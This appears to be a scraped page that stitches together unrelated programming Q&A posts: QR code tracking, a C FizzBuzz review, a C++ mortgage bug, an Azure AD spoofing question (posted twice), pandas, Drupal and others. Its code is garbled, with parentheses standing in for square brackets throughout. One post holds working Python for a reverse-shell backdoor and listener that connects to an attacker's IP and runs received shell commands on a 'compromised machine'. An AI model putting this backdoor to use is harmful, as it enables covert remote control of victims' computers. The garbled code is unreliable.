How to track QR code scan from my site to app store in Google Analytics?

I have a QR code on my site that links people to the mobile app store. Since it isn’t a click but rather a QR code scan done on the user’s mobile device, what is the recommended way of tracking this action in Google Analytics?

I was thinking it would be an immediate meta refresh from a blank page on my domain to the app store, as in:
<meta http-equiv="refresh" content="0; url=https://example.com/">, with example.com being the app store URL.

If the content is set to 0;, would GA still be able to pick up the UTM parameters? Or would it need to be set to 0.5;? Or something else?

Or perhaps there is a more reliable tracking method entirely.

Fizzbuzz in C lang – Code Review Stack Exchange

 #define EXIT_SUCCESS 0

You are not permitted to define standard library names yourself. So just include <stdlib.h>, or omit the return from main() (remember, C will provide a success return if you don’t provide one).

void fizzbuzz(int n) {

We could give that internal linkage:

static void fizzbuzz(int n) {
char result(9) = "";  // strlen("fizzbuzz") + 1 == 9

Instead of manually calculating, we could use sizeof "fizzbuzz" to let the compiler do that for us.

    if (!*result) sprintf(result, "%d", n);

We should be using snprintf() here, as the decimal representation of n can be longer than result has capacity for (even on common platforms with 32-bit int).

I would avoid writing to result in this case – we can format directly to stdout:

    if (*result) {
        puts(result);
    } else {
        printf("%dn", n);
    }

main should be specific about its arguments:

 int main(void)

#include <stdio.h>
#include <string.h>

void fizzbuzz(int n)
{
    char result(sizeof "fizzbuzz") = "";
    if (n % 3 == 0) { strcat(result, "fizz"); }
    if (n % 5 == 0) { strcat(result, "buzz"); }
    if (*result) {
        puts(result);
    } else {
        printf("%dn", n);
    }
}

int main(void)
{
    for (int i = 1;  i <= 100;  ++i) {
        fizzbuzz(i);
    }
}

web development – Will QR code in this scenario be able to be implemented?

User registers on the website. Upon registration, the system will generate a QR code for the user. The user then goes to be vaccinated, and upon vaccination, someone will be able to scan his/ her QR code and the status of the user will be updated as vaccinated with the 1st dose of the vaccine. Additional information will also include, the date for the 2nd dose of vaccination, the doctor who was responsible for the vaccination, date and time of the vaccination. The user can also give his feedback for the side effects per dosage.

Most tutorials with QR code scanners are in a mobile application. However, my laptop might not be capable of handling mobile development.

  1. Will the QR code in this scenario be able to be implemented?

  2. What are some packages for this qr code generator and scanner?

  3. If I’ll use reactjs, are there still any npm packages for qr code? From what I’ve researched, some of them were not maintained anymore. Other recommended technologies are open as well.

  4. If perhaps, we could develop the user in a mobile application, would it be more difficult developing in a mobile application or web application? Considering that, I’ve never developed a mobile application. But there are tons of tutorials in YouTube. For a web application, i’ve already developed a online food ordering. However, there were not much tutorials on how to implement the qr code in a web app. The time frame for our project would be only around 3-4 months and also, this QR code scanning and generator will only be a feature. There are still other modules as well.

python – Unable to get required output in Backdoor and Listener with Remote Code Execution functionality

I am trying to code a Backdoor and for it, a Listener that can be used to remotely execute commands on a Compromised Machine. But I am unable to get the code right in Python 3.

There are 2 codes in the entire setup, the first one is the Listener code on the Listener’s machine while the second one is the code on the Compromised machine.

Thank you for the responses. Any other suggestions are truly welcomed and I’m thankful for them same.

THE LISTENER’S CODE:

import socket
import json


class Listener:
    def __init__(self, ip_hacker, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
        listener.bind((ip_hacker, port))
        listener.listen(0)  
        print("(..)Waiting for incoming connections..,")
        self.connection, address = listener.accept()
        print("(+)(+)Connection Accepted from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode('utf-8')
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + (self.connection.recv(1024)).decode()
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        if command(0) == "exit":
            self.connection.close()
            exit()

        return self.reliable_receive()

    def run(self):
        while True:
            command = input(">>> ")
            command = command.split(" ")
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener('10.10.10.10', 4444) 
my_listener.run()

THE CODE ON THE COMPROMISED MACHINE:


import socket
import subprocess
import json


class Backdoor:
    def __init__(self, ip_hacker, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip_hacker, port))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode('utf-8')
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + (self.connection.recv(1024)).decode('utf-8')
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_receive()
            if command(0) == "exit":
                self.connection.close()
                exit()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)

my_backdoor = Backdoor("12.12.12.12", 4444)
# (ip address of the compromised machine, port from which communication happens) 
my_backdoor.run()```

> The error I get on the Compromised Machine(here Win10) when I send a cmd dir from the Listener/Executor (here Kali-Linux)-
> Traceback (most recent call last):
  File "D:EVIL FILESreverse_backdoor_Class.py", line 41, in <module>
    my_backdoor.run()
  File "D:EVIL FILESreverse_backdoor_Class.py", line 37, in run
    self.reliable_send(command_result)
  File "D:EVIL FILESreverse_backdoor_Class.py", line 14, in reliable_send
    json_data = json.dumps(data).encode('utf-8')
  File "C:Python39libjson__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)
  File "C:Python39libjsonencoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File "C:Python39libjsonencoder.py", line 257, in iterencode
    return _iterencode(o, 0)
  File "C:Python39libjsonencoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable.
Process finished with exit code 1. 
> May be worth noting that I'm using PyCharm for both the Listener and the other code, for this is still in its test stages.

    enter code here

c++ – Monthly Cost for House Code – Output not coming out correctly

My output is returning 0 for the value for the costs and I am not sure why.

#include <iostream>
#include <iomanip>
#include <cmath>

#define TAXRATE 0.0125
#define UTILITIES 300.00
#define INSURANCE 550.00

using namespace std;

// Function Prototypes
void getInput(double& sellPrice, double& interestRate, int& numYears);
void calcAll(double sellPrice, double interestRate, int numYears, double downPayment, double downPaymentRate, double loanAmount, double mortgage, double propertyTax, double insurance, double total);
double calcDownPayment(double sellPrice, double downPaymentRate);
double calcLoanAmount(double sellPrice, double downPayment);
double calcMortgage(double loanAmount, double interestRate, int numYears);
void output(double sellPrice, double interestRate, int numYears, double downPayment, double loanAmount, double mortgage, double propertyTax, double insurance, double total);
int main() {
    
// Non-global memory constant
    const double downPaymentRate = 20.0;
    
// Declare variables
    int numYears;
    double sellPrice, interestRate, mortgage, total, propertyTax, insurance, loanTime, loanAmount, downPayment;
    
// Input the data from the user
    getInput(sellPrice, interestRate, numYears);
    
// Calculate monthly cost
    calcAll(sellPrice, interestRate, numYears, downPayment, downPaymentRate, loanAmount, mortgage, propertyTax, insurance, total);

// Output the cost
    output(sellPrice, interestRate, numYears, downPayment, loanAmount, mortgage, propertyTax, insurance, total);
    
    
    return 0;
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
              
void getInput(double& sellPrice, double& interestRate, int& numYears)
{
/* Pre: sellPrice - reference to the sell price of the house
        interestRate - reference to the rate of interest per compounding period
        numYears - reference to the number of years for the loan
   Post: nothing
   Purpose: Enter the data for sell price, interest rate, and duration of loan
*/
                  
    cout << "How much was the house sold for? ";
    cin >> sellPrice;
                  
    cout << "What is the interest rate? ";
    cin >> interestRate;
                  
    cout << "Enter the number of years for the loan: ";
    cin >> numYears;
                  
}

void calcAll(double sellPrice, double interestRate, int numYears, double downPayment, double downPaymentRate, double loanAmount, double mortgage, double propertyTax, double insurance, double total)
{
/* Pre: sellPrice - sell price of house
        interestRate - interest rate
        numYears - duration of loan
        downPayment - down payment for house
        downPaymentRate - down payment percentage cost for the house
        loanAmount - amount that is loaned to user
        mortgage - mortgage owed for house
        propertyTax - property taxe owed for house
        insurance - insurance owed for house
   Post: nothing
   Purpose: Calculate the amounts for each function
*/
    downPayment = calcDownPayment(sellPrice, downPaymentRate);
    
    loanAmount = calcLoanAmount(sellPrice, downPayment);
    
    mortgage = calcMortgage(loanAmount, interestRate, numYears);
    
    insurance = INSURANCE / 12.0;
    
    propertyTax = (sellPrice * TAXRATE) / 12.0;
    
    total = mortgage + UTILITIES + propertyTax + insurance;
}

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

double calcDownPayment(double sellPrice, double downPaymentRate)
{
/* Pre: sellPrice - sell price of house
        downPaymentRate - down payment percentage cost for the house
   Post: down payment amount
   Purpose: Calculate the down payment amount owed
*/
    double monthlyDownPayment;
    
    monthlyDownPayment = (sellPrice * downPaymentRate) / 12.0;
    
    return monthlyDownPayment;
}

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
              
double calcMortgage(double loanAmount, double interestRate, int numYears)
{
/* Pre: interestRate - rate of interest per compounding period
        numYears - number of years for the loan
        loanAmount - amount loaned for the house
        Post: mortgage cost
        Purpose: Calculate the mortgage cost
*/
                  
// Declare variables
    double loanTime = numYears * 12.0;
    double loan = loanAmount;
    double interest = (interestRate / 100.0) * 12.0;
    double mortgage;
                  
// Calculate mortgage
mortgage = ((loan * interest) * (pow(1.0 + interest, loanTime)))
    / (pow(1.0 + interest, loanTime) - 1.0);
                  
return mortgage;
}
              
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

double calcLoanAmount(double sellPrice, double downPayment)
{
/* Pre: sellPrice - sell price of house
        downPayment - down payment cost of the house
        Post: loan amount
        Purpose: Calculate the loan amount
*/
    double loanAmt;
    
    loanAmt = sellPrice - downPayment;
    
    return loanAmt;
}
              
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

void output(double sellPrice, double interestRate, int numYears, double downPayment, double loanAmount, double mortgage, double propertyTax, double insurance, double total)
{
    /* Pre: sellPrice - sell price of house
            interestRate - interest rate
            numYears - duration of loan
            downPayment - down payment for house
            downPaymentRate - down payment percentage cost for the house
            loanAmount - amount that is loaned to user
            mortgage - mortgage owed for house
            propertyTax - property taxe owed for house
            insurance - insurance owed for house
       Post: nothing
       Purpose: Output the monthly cost
    */
    
    cout << setprecision(2) << fixed;
    cout << endl;
    cout << "MONTHLY COST OF HOUSE       " << endl << endl;
    cout << "SELLING PRICE             $ " << sellPrice << endl;
    cout << "AMOUNT OF LOAN            $ " << loanAmount << endl;
    cout << setprecision(1) << fixed;
    cout << "INTEREST RATE               " << interestRate << "%" << endl;
    cout << "TAX RATE                    " << TAXRATE << "%" << endl;
    cout << "DURATION OF LOAN (YEARS)    " << numYears << endl << endl;
    cout << setprecision(2) << fixed;
    cout << "MONTHLY PAYMENT             " << endl;
    cout << "      MORTGAGE            $ " << mortgage << endl;
    cout << "      UTILITIES           $ " << UTILITIES << endl;
    cout << "      PROPERTY TAXES      $ " << propertyTax << endl;
    cout << "      INSURANCE           $ " << insurance << endl;
    cout << "                         ___________" << endl;
    cout << "                          $ " << total << endl;
    
}

        

Here is my output:

How much was the house sold for? 600000
What is the interest rate? 5
Enter the number of years for the loan: 20

MONTHLY COST OF HOUSE       

SELLING PRICE             $ 600000.00
AMOUNT OF LOAN            $ 0.00
INTEREST RATE               5.0%
TAX RATE                    0.0%
DURATION OF LOAN (YEARS)    20

MONTHLY PAYMENT             
      MORTGAGE            $ 0.00
      UTILITIES           $ 300.00
      PROPERTY TAXES      $ 0.00
      INSURANCE           $ 0.00
                         ___________
                          $ 0.00

If anyone could please provide information as to why my output doesn’t output the functions that I called, that would be very helpful!

[OGRU] DataTables BB Code converter | NullScripts

Description:
This resource can convert old [TH] DataTables BB Code to native XenForo 2.x tables.
It can be useful for migration from XenForo 1.5 to XenForo 2.x

I tried to convert over DataTables BB Code from 1300 messages, and all messages was converted successfully.

How to use it:

  1. Create fresh backup of forum database.
  2. You need to setup DataTables separator in admin panel.
  3. From command line run php cmd.php ogru:datatables:convert
  4. You will get…

.

authorization – How to mitigate risk of spoofing / Impersonating in OAuth Device flow ( device code flow ) in Azure AD?

I have developed C# application and hosted it as a windows service on a machine http://localhost:5000 . This application registered in `Azure Active Directory

Application is using the below details in-app configuration

"ClientId": "242429ea-xxxx-4ddb-xxxx-xxxxxxxxxxxxx",
"Tenant": "67ss7s7s7s-4e27-beee-yyyyyyyyyyyy",
"Scope": "api://12121212-5600-xxxx-1111-123456789/IoTGateway",

Application receives a Token from AAD and which will be used by User for authenticating (OAuth Device flow in Azure AD, sometimes called device code flow)

Question

Currently, all the employees of the company registered in AD, and frustrated employees who copy the application configuration values can get access by SPOOFIING the application. This is a risk. How to mitigate this?

Note: Attacker can shut down this application and run his own spoofed application at the same port 5000.

enter image description here

Is it possible to create a security group and add only users who are supposed to have access to this application?

Example

AD All Users
User 1
User 2
User 3
AD Sec Group 1
User 1
User 2

So user 3 even after having the secret, he shall reject the request by AAD. Is it possible?

authorization – How to mitigate risk of spoofing in OAuth Device flow ( device code flow ) in Azure AD?

I have developed C# application and hosted it as a windows service on a machine http://localhost:5000 . This application registered in `Azure Active Directory

Application is using the below details in-app configuration

"ClientId": "242429ea-xxxx-4ddb-xxxx-xxxxxxxxxxxxx",
"Tenant": "67ss7s7s7s-4e27-beee-yyyyyyyyyyyy",
"Scope": "api://12121212-5600-xxxx-1111-123456789/IoTGateway",

Application receives a Token from AAD and which will be used by User for authenticating (OAuth Device flow in Azure AD, sometimes called device code flow)

Question

Currently, all the employees of the company registered in AD, and frustrated employees who copy the application configuration values can get access by SPOOFIING the application. This is a risk. How to mitigate this?

Note: Attacker can shut down this application and run his own spoofed application at the same port 5000.

enter image description here

Is it possible to create a security group and add only users who are supposed to have access to this application?

python – I want this piece of code to make a new sheet in an existing xlsx instead of making a new file

As of Right Now this piece of code makes a new sheet and converts the CSV for me into an xlsx but it makes a whole new file, I want it to add a new sheet into an existing workbook and convert the CSV into xlsx there,

import pandas as pd
import numpy as np
  
df_new = pd.read_csv('Names.csv')
  
GFG = pd.ExcelWriter('Names.xlsx')
df_new.to_excel(GFG, index = False)

  
GFG.save()

If you could write the whole code out it would be helpful as Im not fully aware of the pandas architecture

8 – Why do I get “An invalid selection has been identified.” from the form my code creates?

I am using the following code for a form.

public function buildForm(array $form, FormStateInterface $form_state) {
  $region_options = static::getFirstDropdownOptions();
  $form('vvv_region') = (
    '#type' => 'select',
    '#title' => $this->t('region select field'),
    '#options' => $region_options,
    '#empty_option' => t('- Select region -'),
    '#ajax' => (
      'callback' => '::myAjaxCallback',
      'disable-refocus' => FALSE,
      'event' => 'change',
      'wrapper' => 'edit-output',
      'progress' => (
        'type' => 'throbber',
        'message' => $this->t('Verifying entry...'),
      ),
    )
  );
    
  $region_selected = $form_state->getValue('vvv_region');
  $city_options = static::getSecondDropdownOptions($region_selected);
    
  $form('output') = (
    '#type' => 'select',
    '#title' => $this->t('city select field'),
    '#options' => $city_options,     
    '#prefix' => '<div id="edit-output">',
    '#suffix' => '</div>',
    '#empty_option' => t('- Select city -'),
    '#default_value' => '',
    '#ajax' => (
      'callback' => '::cityAjaxCallback',
      'disable-refocus' => FALSE,
      'event' => 'change',
      'wrapper' => 'edit-city',
      'progress' => (
        'type' => 'throbber',
        'message' => $this->t('Verifying entry...'),
      ),
    )
  );
    
  $city_select = $form_state->getValue('output');
  $suburb_options = static::getSuburbDropdownOptions($city_select);
        
  $form('sur') = (
    '#type' => 'select',
    '#options' => $suburb_options,     
    '#prefix' => '<div id="edit-city">',
    '#suffix' => '</div>',
    '#empty_option' => t('- Select sururb -'),
    '#default_value' => array(''),
  );
  return $form;
}

public function myAjaxCallback(array &$form, FormStateInterface $form_state) {
  $region_selected = $form_state->getValue('vvv_region');
  $city_options = static::getSecondDropdownOptions($region_selected);

  if ($form_state->getErrors()) {
    Drupal::messenger()->addError($region_selected);
    $form_state->setRebuild();
  }
  
  $form('outpout')('#options') = $city_options;
          
  return $form('output'); 
}
    
public function cityAjaxCallback(array &$form, FormStateInterface $form_state) {
  $city_select = $form_state->getValue('output');
  $sur_data = static::getSuburbDropdownOptions($city_select);

  if ($form_state->getErrors()) {
    Drupal::messenger()->addError($city_select);
    $form_state->setRebuild();
  }

  $form('sur')('#options') = $sur_data;

  return $form('sur'); 
}

When the form is submitted, I get the following error.

An invalid selection has been identified. Please contact the site administrator.

What’s wrong with the code I am using?